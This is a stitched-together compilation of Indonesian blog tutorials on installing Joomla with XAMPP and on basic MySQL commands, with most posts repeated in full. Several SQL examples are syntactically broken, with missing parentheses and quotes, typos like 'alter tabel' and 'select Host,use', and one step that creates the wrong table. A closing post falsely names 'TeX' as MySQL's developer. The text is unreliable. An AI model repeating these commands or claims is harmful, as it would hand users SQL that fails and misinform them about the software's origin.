Pengenalan Joomla, dari dan untuk pemula
Agustus 3, 2007 in Web
Pendahuluan
Joomla adalah salah satu CMS (Content Management System) terkenal yang bersifat cepat, praktis, dan mudah. Anda tidak perlu membuat kode-kode program yang rumit untuk membuat suatu aplikasi web yang interaktif dan menggunakan database, dengan Joomla anda hanya perlu memahami penggunaan fitur-fitur yang telah di sediakan aplikasi web ini dan mengaturnya sesuai kebutuhan atau keinginan anda.
Persiapan
Agar kita dapat menjalankan Joomla, kita perlu menyediakan beberapa program aplikasi yaitu:
1. Paket Joomla (cari dengan Google, free koq)
2. Aplikasi Web Server (Apache, IIS, dll)
3. Aplikasi database (MySQL, Microsoft SQL Server, dll)
4. PHP 4.2.x atau di atasnya
5. Dan tentu saja web browser (IE, Firefox, Opera, dll)
Karena saya masih pemula dan senang akan hal-hal yang simple dan tidak ingin pusing-pusing mengenai masalah setting-an web server ataupun database yang rumit atau terlalu panjang untuk dibahas disini, jadi saya menggunakan paket distribusi khusus yang telah dibundel dengan tiga aplikasi (Apache, MySQL, dan PHP) penting untuk menjalankan Joomla yaitu XAMPP. Untuk mencari aplikasi XAMPP ini silahkan cari dengan uncle Google :) . Cara penginstalan XAMPP sangat mudah, kita tinggal ikutin aja langkahnya, istilah simplenya ok – next – install – yes – yes – yes – finish, selesai dech :) (oh ya, saya menggunakan OS Micr*s*ft XP) dan perlu diingat percobaan untuk tutorial ini bersifat localhost jadi bagi yang ingin menggunakan Joomla sebagai web service untuk digunakan langsung online di internet, maka dalam pembuatan databasenya agak berbeda itu tergantung tempat anda hosting, tapi ada beberapa tempat hosting gratis (yang pasti mendukung fasilitas PHP, database, lebih bagus lagi kalau ada FTP) yang menyediakan langsung paket Joomla, anda hanya tinggal membuat database nya saja.
Memulai Pengenalan Joomla
Penempatan paket Joomla
Pastikan aplikasi XAMPP udah terinstall dengan baik, kemudian kita akan menuju folder tempat kita menginstall XAMPP sebelumnya, yaitu C:\Program Files\xampp\htdocs, di dalam folder htdocs extract paket Joomla, di sini file-file joomla saya letakkan dalam satu folder yang bernama myjoomla. Untuk aplikasi XAMPP kita harus menempatkan file-file Joomla kita di dalam folder htdocs, hal ini sama saja jika kita menggunakan Linux dengan apache sebagai servernya yang peletakan filenya di /var/www/html/myjoomla.
Membuat database untuk Joomla
Buka web browser anda, pada kolom address ketikan: http://localhost/xampp/ maka akan tampil tampilan utama dari aplikasi XAMPP, kemudian kita pilih menu Tools -> phpMyAdmin.
Maka akan muncul tampilan seperti diatas, pada kolom Create new database ketikan nama database yang akan kita buat, misalnya db_joomla kemudian klik button Create maka akan tercipta sebuah database (kita tidak perlu membuat suatu table untuk database karena telah ter-include bersamaan dengan paket Joomla).
Perlu di ingat user name utama bawaan dari paket XAMPP untuk phpMyAdmin adalah root sedangkan passwordnya masih kosong, hal ini sangat penting saat penginstalan Joomla nanti (saat percobaan saya tidak melakukan pengaturan user, jadi menggunakan default-nya saja, untuk pengaturan user ini anda dapat melihatnya pada phpMyAdmin bagian menu Privileges).
Penginstalan Joomla
Pada web browser anda ketikan http://localhost/myjoomla (myjoomla adalah nama folder di dalam htdocs tempat anda meletakan file-file Joomla anda). Maka akan muncul tampilan sebagai berikut:
Disini kita dapat melihat directory-directory yang terdapat di Joomla yang sudah siap untuk ditulis/dijalankan (lihat status Writeable). Kemudian lanjutkan dengan mengklik Next>>.
Maka akan muncul Joomla Installation License yang menyatakan bahwa Joomla berada di bawah lisensi GNU/GPL.
Klik Next>>, kemudian akan muncul bagian untuk konfigurasi database MySQL.
Isikan contentnya sebagai berikut :
Host Name: localhost
MySQL User Name: root
MySQL Password:
MySQL Database Name: db_joomla
Kemudian lanjutkan dengan mengklik Next>>, maka akan tampil peringatan dari Joomla apakah settingan yang kita buat sudah benar, jika ya klik OK.
Jika sukses, maka akan tampil bagian untuk memasukan nama web Joomla anda, misalnya : Fazz Sawamura Homepage.
Lanjutkan dengan mengklik Next>>, maka akan tampil konfirmasi mengenai situs URL, path, email, dan admin password.
Pada bagian email, isikan email anda dan jangan lupa untuk mengingat password admin, hal ini sangat penting untuk anda login sebagai admin untuk melakukan pengaturan Joomla nanti (password ini dapat diganti sesuai keinginan anda).
Kemudian klik Next>>, maka akan tampil akhir dari instalasi Joomla, dan ada peringatan untuk menghapus folder instalasi.
Pilih View Site, maka akan tampilan sebagai berikut
Site Joomla belum bisa ditampilkan karena kita belum menghapus file-file instalasi kita, untuk itu kita kembali ke directory C:\Program Files\xampp\htdocs\myjoomla, kemudian delete folder dengan nama installation.
Refresh kembali web browser anda maka site Joomla sudah dapat ditampilkan :) ,
Sekian dulu untuk pengenalan awal mengenai Joomla, mungkin tutorial ini masih jauh dari sempurna. Tutorial mengenai Joomla berikutnya akan segera dibuat (kalau lagi ada waktu, atau lagi nggak malas he..x3 ;) )
Jumat, 09 Januari 2009
Joomla, Script Gratis Yang Handal Untuk Membuat Website
Joomla, Script Gratis Yang Handal Untuk Membuat Website
post info
Oleh budiridwin
Kategori: Artwork, Internets dan Webdesign dan Website
Tags: CMS, gratis, handal, joomla
Bingung harus posting apa lagi di blog ini, setelah membaca tulisan dari Bapak Budi Putra tentang topik “NICHE”. Akhirnya saya mencoba memutuskan untuk berbagi pengalaman didalam penggunaan Joomla CMS yang merupakan CMS favorit saya saat ini dan sejak beberapa tahun lalu ketika masih bernama mambo.
Sebelum saya berbagi pengalaman saya dalam menggunakan Joomla CMS ada baiknya saya menceritakan sedikit apa yang dimaksud dengan CMS dan Joomla.
CMS (Content Management System) merupakan suatu aplikasi berbasis web yang digunakan untuk mengatur suatu konten/isi dari suatu website. lebih lanjut ….
Joomla merupakan CMS open source yang pertama kali dikembangkan oleh miro dengan nama Mambo. Dalam perjalanannya ternyata miro membuat yayasan mambo (Mambo Foundation) dan mewajibkan para pengembang yang terlibat dalam pengembangan joomla membayar, dan terkesan mambo akan dikomersialkan. Setelah kejadian tersebut akhirnya terjadi perpecahan di pengembang inti mambo dan sejak 16 September 2005 Joomla versi 1.0.0 resmi dirilis.
Dengan dirilisnya Joomla memberikan kebebasan kepada para pengembang-pengembang mambo untuk terlibat juga didalam pengembangan joomla. Kini perkembangan joomla lebih pesat dibandingkan mambo. Banyak instansi pemerintah, pendidikan, maupu korporat menggunakan Joomla untuk mengatur isi dari website yang mereka kelola.
Berikut ini contoh beberapa website yang menggunakan Joomla CMS :
post info
Oleh budiridwin
Kategori: Artwork, Internets dan Webdesign dan Website
Tags: CMS, gratis, handal, joomla
Bingung harus posting apa lagi di blog ini, setelah membaca tulisan dari Bapak Budi Putra tentang topik “NICHE”. Akhirnya saya mencoba memutuskan untuk berbagi pengalaman didalam penggunaan Joomla CMS yang merupakan CMS favorit saya saat ini dan sejak beberapa tahun lalu ketika masih bernama mambo.
Sebelum saya berbagi pengalaman saya dalam menggunakan Joomla CMS ada baiknya saya menceritakan sedikit apa yang dimaksud dengan CMS dan Joomla.
CMS (Content Management System) merupakan suatu aplikasi berbasis web yang digunakan untuk mengatur suatu konten/isi dari suatu website. lebih lanjut ….
Joomla merupakan CMS open source yang pertama kali dikembangkan oleh miro dengan nama Mambo. Dalam perjalanannya ternyata miro membuat yayasan mambo (Mambo Foundation) dan mewajibkan para pengembang yang terlibat dalam pengembangan joomla membayar, dan terkesan mambo akan dikomersialkan. Setelah kejadian tersebut akhirnya terjadi perpecahan di pengembang inti mambo dan sejak 16 September 2005 Joomla versi 1.0.0 resmi dirilis.
Dengan dirilisnya Joomla memberikan kebebasan kepada para pengembang-pengembang mambo untuk terlibat juga didalam pengembangan joomla. Kini perkembangan joomla lebih pesat dibandingkan mambo. Banyak instansi pemerintah, pendidikan, maupu korporat menggunakan Joomla untuk mengatur isi dari website yang mereka kelola.
Berikut ini contoh beberapa website yang menggunakan Joomla CMS :
Perintah praktis MySQL
Perintah praktis MySQL
Bagi anda yang menggunakan MySQL sebagai Basis Data sistem anda, ada beberapa perintah praktis yang dapat diterapkan setelah masuk ke prompt MySQL.
Untuk masuk ke prompt My SQL dapat dilakukan dengan mengetikan perintah :
unix # mysql
Setelah di prompt mySQL anda tinggal mengetikkan perintah-perintah praktis yang anda kehendaki. Perintah praktis tersebut diantaranya:
1. Menggunakan database yang ada:
mysql> use name_database;
2. Buat databse baru:
mysql> create database nama_database;
3. Buat tabel Baru:
mysql>create table nama_tabel deskripsi_field;
mysql>create table tabelku nama char(30 not null,nim int not null,tgl date not null;
4. Edit tabel:
mysql alter tabel nama_tabel,[add|chane|delete] deskripsi_field;
5. Hapus tabel:
mysql>drop table nama_tabel;
6. Buat data baru:
mysql> insert into nama_tabel (field1,field2,...) values (nilai1,nilai2,...) [where...];
insert into tabelku (nama,nim,tgl) values(dian, 100, 22/02/1980 divkom);
7. Ubah data :
mysql>update table nama_tabel set [field]=[nilai][where..];
8. Hapus Data:
mysql>delete from nama_tabel [where...];
9. Menampilkan tabel dalam database mysql:
mysql> show tables from mysql;
10. Melihat kolom-kolom field dalam table user:
mysql>show fields from user from mysql;
11. Melihat Host, User, Password yang telah diisi secara otomatis
mysql>select Host,use,Password from user;
12. Mengganti password root:
mysql> update user set password=password(mysqladmin where user=root;
13. Hapus entry yang tidak ada user/passwordnya, untuk keperluan security. jangan sampai akses tanpa user bidsa masuk:
mysql> delete from user where user= ;
14. Melihat informasi previlige dari user root:
mysql>select *from user where host=localhost;
15. Menambahkan user baru ke tabel user:
mysql>insert into user values(akhdian.net, dian,password(dian),Y,Y,Y,Y,Y,Y,Y.Y,Y,Y);
16. Agar konfigurasi user terbaru bisa aktif, beri perintah reload:
unix#mysqladmin reload
by: akhdian : dian ardiyansah
Bagi anda yang menggunakan MySQL sebagai Basis Data sistem anda, ada beberapa perintah praktis yang dapat diterapkan setelah masuk ke prompt MySQL.
Untuk masuk ke prompt My SQL dapat dilakukan dengan mengetikan perintah :
unix # mysql
Setelah di prompt mySQL anda tinggal mengetikkan perintah-perintah praktis yang anda kehendaki. Perintah praktis tersebut diantaranya:
1. Menggunakan database yang ada:
mysql> use name_database;
2. Buat databse baru:
mysql> create database nama_database;
3. Buat tabel Baru:
mysql>create table nama_tabel deskripsi_field;
mysql>create table tabelku nama char(30 not null,nim int not null,tgl date not null;
4. Edit tabel:
mysql alter tabel nama_tabel,[add|chane|delete] deskripsi_field;
5. Hapus tabel:
mysql>drop table nama_tabel;
6. Buat data baru:
mysql> insert into nama_tabel (field1,field2,...) values (nilai1,nilai2,...) [where...];
insert into tabelku (nama,nim,tgl) values(dian, 100, 22/02/1980 divkom);
7. Ubah data :
mysql>update table nama_tabel set [field]=[nilai][where..];
8. Hapus Data:
mysql>delete from nama_tabel [where...];
9. Menampilkan tabel dalam database mysql:
mysql> show tables from mysql;
10. Melihat kolom-kolom field dalam table user:
mysql>show fields from user from mysql;
11. Melihat Host, User, Password yang telah diisi secara otomatis
mysql>select Host,use,Password from user;
12. Mengganti password root:
mysql> update user set password=password(mysqladmin where user=root;
13. Hapus entry yang tidak ada user/passwordnya, untuk keperluan security. jangan sampai akses tanpa user bidsa masuk:
mysql> delete from user where user= ;
14. Melihat informasi previlige dari user root:
mysql>select *from user where host=localhost;
15. Menambahkan user baru ke tabel user:
mysql>insert into user values(akhdian.net, dian,password(dian),Y,Y,Y,Y,Y,Y,Y.Y,Y,Y);
16. Agar konfigurasi user terbaru bisa aktif, beri perintah reload:
unix#mysqladmin reload
by: akhdian : dian ardiyansah
Perintah dasar dalam database MySQL
Perintah dasar dalam database MySQL
MYSQL
Wed 2008 at 14:09 pm by Yustian M
Sekarang aku akan melanjutkan bagian kedua dari tutorial database MySQL. Yang mana pada bagian sebelumnya aku telah menulis Struktur dasar database MySQL. Semua tutorial ini akan aku bahas dengan simple agar kamu semua dapat dengan mudah untuk memahami. Apabila ada dari tulisan atau yang kurang di mengerti dari tutorial ini, silahkan berikan comment kamu.
SQL DASAR
* Membuat database baru.
* Membuat table baru.
o Type column
o Indexes dan Keys
* Manipulasi data.
o Inserting
o Retrieving
o Updateing
o Deleting
* Mengubah table.
1. Membuat Database Baru
* Menampilkan database
mysql> SHOW DATABASES;
* Membuat database
mysql> CREATE DATABASE [Nama databasemu];
* Menggunakan database
mysql> USE [Nama databasemu];
* Menghapus database
mysql> DROP DATABASE [Nama databasemu];
2. Membuat Table Baru
* Menampilkan table
mysql> SHOW TABLES FROM [Nama databasemu];
* Membuat table
mysql> CREATE TABLE [Nama tablemu] ( [nama column] [type column], [...]);
Contohnya:
mysql> CREATE TABLE anggota ( ID int(100), Nama varchar(255));
* Menampilkan column
mysql> SHOW COLUMNS FROM [Nama tablemu];
* Menghapus table
mysql> DROP TABLE [Nama tablemu];
Type column yang umum digunakan dalam MySQL:
* Type String
o char
o varchar
o text
o blob
* Type Numeric
o int
o tinyint
o int zerofill
o int not null
o float
o double
o decimal
Menambahkan Indexing dan Keys kedalam Table:
mysql> ALTER TABLE [Nama tablemu] ADD INDEX ([Nama column yang ingin diberikan index]);
Contohnya:
mysql> ALTER TABLE anggota ADD INDEX (Nama);
mysql> CREATE TABLE [Nama tablemu] ( [nama column] [type column], [...],PRIMARY KEY ([nama column yang ingin diberikan key]));
Contohnya:
mysql> CREATE TABLE anggota ( ID int(100), Nama varchar(255),PRIMARY KEY (ID));
3. Manipulasi Data
* Memasukan data
mysql> INSERT INTO [Nama tablemu] ([Nama column]) VALUES ([Isi/Nilai column]);
Contohnya:
mysql> INSERT INTO anggota (ID, Nama) VALUES (1,”Yustian”);
* Mengupdate data
mysql> UPDATE [Nama tablemu] SET [Nama column]=[Isi/Nilai column] WHERE [Kondisi yang data diinginkan];
Contohnya:
mysql> UPDATE anggota SET Nama=“Yustian” WHERE ID=1;
* Menghapus data
mysql> DELETE FROM [Nama tablemu] WHERE [Kondisi yang data diinginkan];
Contohnya:
mysql> DELETE FROM anggota WHERE ID=1;
4. Mengubah Table
* Mengganti nama table
mysql> ALTER TABLE [Nama tablemu] RENAME [Nama yang baru];
Contohnya:
mysql> ALTER TABLE anggota RENAME anggotaku;
* Menambah column ke dalam table
mysql> ALTER TABLE [Nama tablemu] ADD [nama column] [type column], [...];
Contohnya:
mysql> ALTER TABLE anggota ADD Nama char(100);
* Menghapus column
mysql> ALTER TABLE [Nama tablemu] DROP [nama column];
Contohnya:
mysql> ALTER TABLE anggota DROP Nama;
* Mengganti nama dan type column
mysql> ALTER TABLE [Nama tablemu] CHANGE [nama column] [Nama column yang baru] [type column], [...];
Contohnya:
mysql> ALTER TABLE anggota CHANGE Nama Username varchar(255);
Demikian sebagian mengenai MySQL masih banyak lagi artikel yang akan aku tulis di YusianBlog ini diantaranya Operator Di Dalam MySQL, Query MySQL dan masih banyak lagi. Semoga itu semua dapat membantu kalian untuk belajar MySQL dengan mudah.
Popularity: 33% [?]
Related Posts
* Struktur dasar dalam database MySQL (2)
* Cara mudah upgrade wordpress 2.7 Coltrane terbaru (2)
* Membuat website menjadi transparan dengan css (8)
* Menambahkan tomcat administration tool pada apache tomcat 5.5.27 (6)
* Cara lengkap instalasi apache tomcat 5.5.27 di windows XP (1)
MYSQL
Wed 2008 at 14:09 pm by Yustian M
Sekarang aku akan melanjutkan bagian kedua dari tutorial database MySQL. Yang mana pada bagian sebelumnya aku telah menulis Struktur dasar database MySQL. Semua tutorial ini akan aku bahas dengan simple agar kamu semua dapat dengan mudah untuk memahami. Apabila ada dari tulisan atau yang kurang di mengerti dari tutorial ini, silahkan berikan comment kamu.
SQL DASAR
* Membuat database baru.
* Membuat table baru.
o Type column
o Indexes dan Keys
* Manipulasi data.
o Inserting
o Retrieving
o Updateing
o Deleting
* Mengubah table.
1. Membuat Database Baru
* Menampilkan database
mysql> SHOW DATABASES;
* Membuat database
mysql> CREATE DATABASE [Nama databasemu];
* Menggunakan database
mysql> USE [Nama databasemu];
* Menghapus database
mysql> DROP DATABASE [Nama databasemu];
2. Membuat Table Baru
* Menampilkan table
mysql> SHOW TABLES FROM [Nama databasemu];
* Membuat table
mysql> CREATE TABLE [Nama tablemu] ( [nama column] [type column], [...]);
Contohnya:
mysql> CREATE TABLE anggota ( ID int(100), Nama varchar(255));
* Menampilkan column
mysql> SHOW COLUMNS FROM [Nama tablemu];
* Menghapus table
mysql> DROP TABLE [Nama tablemu];
Type column yang umum digunakan dalam MySQL:
* Type String
o char
o varchar
o text
o blob
* Type Numeric
o int
o tinyint
o int zerofill
o int not null
o float
o double
o decimal
Menambahkan Indexing dan Keys kedalam Table:
mysql> ALTER TABLE [Nama tablemu] ADD INDEX ([Nama column yang ingin diberikan index]);
Contohnya:
mysql> ALTER TABLE anggota ADD INDEX (Nama);
mysql> CREATE TABLE [Nama tablemu] ( [nama column] [type column], [...],PRIMARY KEY ([nama column yang ingin diberikan key]));
Contohnya:
mysql> CREATE TABLE anggota ( ID int(100), Nama varchar(255),PRIMARY KEY (ID));
3. Manipulasi Data
* Memasukan data
mysql> INSERT INTO [Nama tablemu] ([Nama column]) VALUES ([Isi/Nilai column]);
Contohnya:
mysql> INSERT INTO anggota (ID, Nama) VALUES (1,”Yustian”);
* Mengupdate data
mysql> UPDATE [Nama tablemu] SET [Nama column]=[Isi/Nilai column] WHERE [Kondisi yang data diinginkan];
Contohnya:
mysql> UPDATE anggota SET Nama=“Yustian” WHERE ID=1;
* Menghapus data
mysql> DELETE FROM [Nama tablemu] WHERE [Kondisi yang data diinginkan];
Contohnya:
mysql> DELETE FROM anggota WHERE ID=1;
4. Mengubah Table
* Mengganti nama table
mysql> ALTER TABLE [Nama tablemu] RENAME [Nama yang baru];
Contohnya:
mysql> ALTER TABLE anggota RENAME anggotaku;
* Menambah column ke dalam table
mysql> ALTER TABLE [Nama tablemu] ADD [nama column] [type column], [...];
Contohnya:
mysql> ALTER TABLE anggota ADD Nama char(100);
* Menghapus column
mysql> ALTER TABLE [Nama tablemu] DROP [nama column];
Contohnya:
mysql> ALTER TABLE anggota DROP Nama;
* Mengganti nama dan type column
mysql> ALTER TABLE [Nama tablemu] CHANGE [nama column] [Nama column yang baru] [type column], [...];
Contohnya:
mysql> ALTER TABLE anggota CHANGE Nama Username varchar(255);
Demikian sebagian mengenai MySQL masih banyak lagi artikel yang akan aku tulis di YusianBlog ini diantaranya Operator Di Dalam MySQL, Query MySQL dan masih banyak lagi. Semoga itu semua dapat membantu kalian untuk belajar MySQL dengan mudah.
Popularity: 33% [?]
Related Posts
* Struktur dasar dalam database MySQL (2)
* Cara mudah upgrade wordpress 2.7 Coltrane terbaru (2)
* Membuat website menjadi transparan dengan css (8)
* Menambahkan tomcat administration tool pada apache tomcat 5.5.27 (6)
* Cara lengkap instalasi apache tomcat 5.5.27 di windows XP (1)
Membuat Database dan Table Menggunakan MySqL
Membuat Database dan Table Menggunakan MySqL
September 10, 2008 in Windows | Tags: Database Windows
Untuk masuk ke dalam program MySQL pada prompt jalankan perintah berikut ini:
1. Masuk pada direktori utama mysql, seperti perintah berikut:
C:\WINDOWS>cd\apache\mysql\bin
2. Kemudian ketikkan perintah seperti contoh berikut:
C:\apache\mysql\bin>mysql
Kemudian akan masuk kedalam prompt MySQL seperti tampilan dibawah ini:
1. Cara untuk membuat sebuah database sekolah baru, mengaktifkan database sekolah, dan membuat table instruktur menggunakan perintah sebagai berikut:
Ketik:
Mysql> create database sekolah;
Query OK, 1 row affected (0.01 sec)
Mysql> use sekolah
Database changed
Mysql> create table instruktur(
è nomor int(6) not null primary key,
è nama char(40) not null,
è jenis_kelamin char(25) not null,
è alamat char(255) not null,
è kota char(20) not null);
Query OK, 0 rows affected (0.38 sec)
2. Untuk memasukkan sebuah baris (record) kedalam table MySQL adalah sebagai berikut:
Ketik:
Mysql> insert into instruktur
è Values(‘1’,’Nanang Suwandi’,’Laki-Laki’,’Jl. Pekapuran’,
è ‘Depok’);
Query OK, 1 row affected (0.34 sec)
Mysql> insert into instruktur
è Values(‘2’,Ramadhin Tarigan’,’Laki-Laki’,’Jl. Pemda Bogor’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
Mysql> insert into instruktur
è Values(‘3’,Agung Setiadi’,’Laki-Laki’,’Jl. Cibinong’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
3. Untuk menampilkan isi table menggunakan perintah SELECT, cara penulisan perintah SELECT adalah:
Ketik:
Mysql> select*from instruktur;
4. kemudian cara untuk membuat table siswamenggunakan perintah sebagai berikut:
Ketik:
Mysql> create table siswa(
è nomor int(6) not null primary key,
è nama char(40) not null,
è jenis_kelamin char(25) not null,
è alamat char(255) not null,
è kota char(20) not null);
Query OK, 0 rows affected (0.38 sec)
5. Untuk memasukkan sebuah baris (record) kedalam table MySQL adalah sebagai berikut:
Ketik:
Mysql> insert into siswa
è Values(‘1’,’Singgih Maryu Aji’,’Laki-Laki’,’Jl. Anggrek 06’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
Mysql> insert into siswa
è Values(‘2’,Iwan Sanjaya’,’Laki-Laki’,’Jl. Radar Auri’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
Mysql> insert into siswa
è Values(‘3’,Saiful Wahyudi’,’Laki-Laki’,’Jl. Garuda’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
Mysql> insert into siswa
è Values(‘4’,Wahyu Setiadi’,’Laki-Laki’,’Jl. Ciherang’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
6. Untuk menampilkan isi table menggunakan perintah SELECT, cara penulisan perintah SELECT adalah:
Ketik:
Mysql> select*from siswa;
7. kemudian cara untuk membuat table mata_pelajaran menggunakan perintah sebagai berikut:
Ketik:
Mysql> create table siswa(
è nomor int(6) not null primary key,
è nama char(40) not null,
è jenis_kelamin char(25) not null,
è alamat char(255) not null,
è kota char(20) not null);
Query OK, 0 rows affected (0.16 sec)
8. Untuk memasukkan sebuah baris (record) kedalam table MySQL adalah sebagai berikut:
Ketik:
Mysql> insert into mata_pelajaran
è Values(‘1’,’Nur Sidik’,’Laki-Laki’,’Jl. Jati Jajar’,
è ‘Depok’);
Query OK, 1 row affected (0.06 sec)
Mysql> insert into mata_pelajaran
è Values(‘2’,Sri Mulyani’,’Laki-Laki’,’Jl. Cijantung’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
Mysql> insert into mata_pelajaran
è Values(‘3’,Abdul Rosyid’,’Laki-Laki’,’Jl. Cililitan’,
è ‘Depok’);
Query OK, 1 row affected (0.01 sec)
9. Untuk menampilkan isi table menggunakan perintah SELECT, cara penulisan perintah SELECT adalah:
Ketik:
Mysql> select*from mata_pelajaran;
September 10, 2008 in Windows | Tags: Database Windows
Untuk masuk ke dalam program MySQL pada prompt jalankan perintah berikut ini:
1. Masuk pada direktori utama mysql, seperti perintah berikut:
C:\WINDOWS>cd\apache\mysql\bin
2. Kemudian ketikkan perintah seperti contoh berikut:
C:\apache\mysql\bin>mysql
Kemudian akan masuk kedalam prompt MySQL seperti tampilan dibawah ini:
1. Cara untuk membuat sebuah database sekolah baru, mengaktifkan database sekolah, dan membuat table instruktur menggunakan perintah sebagai berikut:
Ketik:
Mysql> create database sekolah;
Query OK, 1 row affected (0.01 sec)
Mysql> use sekolah
Database changed
Mysql> create table instruktur(
è nomor int(6) not null primary key,
è nama char(40) not null,
è jenis_kelamin char(25) not null,
è alamat char(255) not null,
è kota char(20) not null);
Query OK, 0 rows affected (0.38 sec)
2. Untuk memasukkan sebuah baris (record) kedalam table MySQL adalah sebagai berikut:
Ketik:
Mysql> insert into instruktur
è Values(‘1’,’Nanang Suwandi’,’Laki-Laki’,’Jl. Pekapuran’,
è ‘Depok’);
Query OK, 1 row affected (0.34 sec)
Mysql> insert into instruktur
è Values(‘2’,Ramadhin Tarigan’,’Laki-Laki’,’Jl. Pemda Bogor’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
Mysql> insert into instruktur
è Values(‘3’,Agung Setiadi’,’Laki-Laki’,’Jl. Cibinong’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
3. Untuk menampilkan isi table menggunakan perintah SELECT, cara penulisan perintah SELECT adalah:
Ketik:
Mysql> select*from instruktur;
4. kemudian cara untuk membuat table siswamenggunakan perintah sebagai berikut:
Ketik:
Mysql> create table siswa(
è nomor int(6) not null primary key,
è nama char(40) not null,
è jenis_kelamin char(25) not null,
è alamat char(255) not null,
è kota char(20) not null);
Query OK, 0 rows affected (0.38 sec)
5. Untuk memasukkan sebuah baris (record) kedalam table MySQL adalah sebagai berikut:
Ketik:
Mysql> insert into siswa
è Values(‘1’,’Singgih Maryu Aji’,’Laki-Laki’,’Jl. Anggrek 06’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
Mysql> insert into siswa
è Values(‘2’,Iwan Sanjaya’,’Laki-Laki’,’Jl. Radar Auri’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
Mysql> insert into siswa
è Values(‘3’,Saiful Wahyudi’,’Laki-Laki’,’Jl. Garuda’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
Mysql> insert into siswa
è Values(‘4’,Wahyu Setiadi’,’Laki-Laki’,’Jl. Ciherang’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
6. Untuk menampilkan isi table menggunakan perintah SELECT, cara penulisan perintah SELECT adalah:
Ketik:
Mysql> select*from siswa;
7. kemudian cara untuk membuat table mata_pelajaran menggunakan perintah sebagai berikut:
Ketik:
Mysql> create table siswa(
è nomor int(6) not null primary key,
è nama char(40) not null,
è jenis_kelamin char(25) not null,
è alamat char(255) not null,
è kota char(20) not null);
Query OK, 0 rows affected (0.16 sec)
8. Untuk memasukkan sebuah baris (record) kedalam table MySQL adalah sebagai berikut:
Ketik:
Mysql> insert into mata_pelajaran
è Values(‘1’,’Nur Sidik’,’Laki-Laki’,’Jl. Jati Jajar’,
è ‘Depok’);
Query OK, 1 row affected (0.06 sec)
Mysql> insert into mata_pelajaran
è Values(‘2’,Sri Mulyani’,’Laki-Laki’,’Jl. Cijantung’,
è ‘Depok’);
Query OK, 1 row affected (0.00 sec)
Mysql> insert into mata_pelajaran
è Values(‘3’,Abdul Rosyid’,’Laki-Laki’,’Jl. Cililitan’,
è ‘Depok’);
Query OK, 1 row affected (0.01 sec)
9. Untuk menampilkan isi table menggunakan perintah SELECT, cara penulisan perintah SELECT adalah:
Ketik:
Mysql> select*from mata_pelajaran;
mengenai RDBMS Mysql,
mengenai RDBMS Mysql,
Hari ini kita belajar mengenai RDBMS Mysql, tapi pada pertemuan tadi yang seharusnya kita ujian, tapi gak tau mengapa sampai dibatalkan. Kita sempat membahas ulang tentang cookie dan session.
Tujuan materi ini agar kita dapat memahami tentang DBMS MySQL, kemidian menggunakan perintah SQL untuk mendefinisikan basis data dan memanipulasi data. Program yang kita gunakan poada hari ini yaitu command prompt, dimana kita membuat folder, table dll melalui command promp.
Database adalah sebuah objek yang kompleks untuk menyimpan informasi yang terstruktur, yang diorganisir dan disimpan dalam suatu cara yang mengijinkan pemakainya untuk mengambil informasi dengan cepat dan efisien. Dengan mesin database, kita bias merancang aturan untuk melindungi database dari tindakan pemakai dan meminta DBMS untuk menerapkan aturan-aturan tersebut.
MySQL adalah multi user database yang menggunakan bahasa structured query language. Dalam operasi client server melibatkan server daemon MySQL, disisi menangani data yang bebagai macam program serta library yang berjalan disisi client. MySQL mampu untuk menangani data yang cukup besar. Perusahaan yang mengembangkan MySQL adalah TeX.
Dalam konteks bahasa SQL, pada umunya informasi tersimpan dalam table-tabel yang secara logic merupakan struktur dua dimensi yang terdiri atas baris-baris data yang berada dalam suatu atau lebih kolom. Baris pada table sering disebut sebagai instance dari data atau record, sedangkan kolom sering disebut sebagai attributes atau field. Keseluruhan itu ditampung dalam suatu wadah yang disebut database.
Structured Query Language
SQL adalah bahasa yang dpergunakan untuk mengakses data dalam basis data relational. Bahasa ini adalah bahasa standar yang digunakan dalam manajemen basis data relatyional. Saat ini hampir semua server basis data yang ada mendukung bahasa ini dalam mamnajemen datanya.
Jenis-jenis perintah SQL antara lain seperti yang terdapat dibawah ini:
Ø QUERY COMMAND à Yaitu perintah SQL yang merupakan satu-satunya cara untuk berkomunikasi denga database server.
Ø Data definition language à Yaitu perintah untuk mendefinisikan data, misalnya : create, alter, drop.
Ø Data control language à untuk mengatur privilege user ( administrasi database ).
Ø Data manipulation language à perintah-perintah yang digunakan untuk menampilkan data dan dapat menyebabkan perubahan data, misalnya : select, insert, update, delete.
Menjalankan MySQL
Untuk menjalankan MySQL, akan kita gunakan cara seperti contoh dibawah ini.
Melihat Daftar Database
Dengan perintah show databases; mysql akan mengirimkan informasi mengenai nama-nama database yang terdapat pada DBMS MySQL Server yang sedang bekerja. Berikut ini contoh perintah untuk menampilkan daftar databases yang ada.
Membuat Database
Untuk membuat databases pada mysql, bias dengan cara menuliskan “create database;”. Pada tampilan diatas sudah terdapat dua databases yang sudah ada. Kalo kita belum terlalu jelas menggunakan mysql sebaiknya kita jangan mengganggu dua databases tersebut.
Masuk database
Cara untuk memasuki database yang telah kita buat dengan menuliskan : “use”. Contoh:
Mengahpus database
Cara menghapus databases daengan cara menuliskan: “ drop database”. Contoh:
Tabel
Table adalah tempat untuk menyimpan data 2 dimensi yang terdiri dari kolom dan baris, struktur table berupa kolom-kolom ataui field-field, tipe data dan ukuran mesing-masing kolom. Untuk mmempersiapkan struktur table diperlukan perintah-perintah untuk membuat table, mengubah tipe data, memberikan atribut, dan sebagainya. Cara membuat table dengan menuliskan. “CREATE TABEL( [],…);”. Contohnya ;
Melihat daftar table
Untuk melihat table yang berada dalam database. Caranya seperti contoh dibawah ini.
Melihat struktur table
Untuk melihat struktur table dapat dilakukan dengan cara berikut.
Cara mengganti nama table, kita gunakan cara seperti contoh di bawah ini.
Menambah kolom.
